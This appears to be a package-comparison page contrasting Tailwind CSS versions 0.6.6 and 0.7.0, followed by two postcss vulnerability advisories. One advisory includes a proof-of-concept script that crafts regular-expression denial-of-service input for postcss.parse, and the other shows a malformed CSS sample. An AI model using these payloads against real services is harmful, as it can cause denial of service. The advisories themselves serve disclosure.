Tailwind CSS saw a notable update from version 0.6.6 to 0.7.0, offering developers an enhanced utility-first CSS framework. Both versions share the core philosophy of rapid UI development through pre-defined utility classes and a consistent MIT license. However, version 0.7.0 introduces several additions to its dependencies which can impact build performance and add needed utilities for specific cases.
A key difference lies in the dependencies. Version 0.7.0 incorporates bytes, chalk, strip-comments, node-emoji, and autoprefixer, which were not present in version 0.6.6, with the removal of commander. The autoprefixer moves from devDependencies to dependencies and this signifies that it is now included by default, which adds automatic vendor prefixes for wider CSS compatibility. The addition of modules such as chalk and node-emoji suggests some enhancement in console output readability during development. The inclusion of bytes points to improved handling of file sizes or data volumes and the introduction of strip-comments indicates some change on how the build process handles comments. The file count jumped from 112 to 120 and the unpacked size increased from 2039160 to 2089196.
For developers, upgrading means potentially benefiting from enhanced browser compatibility, improved CLI output, and better data-handling. The upgrade warrants an evaluation of the updated dependencies to check for any impact from their inclusion or version changes. For those using tailwind for the first time, both versions offer a solid foundation, but 0.7.0 has a collection of features and utilities.
All the vulnerabilities related to the version 0.7.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.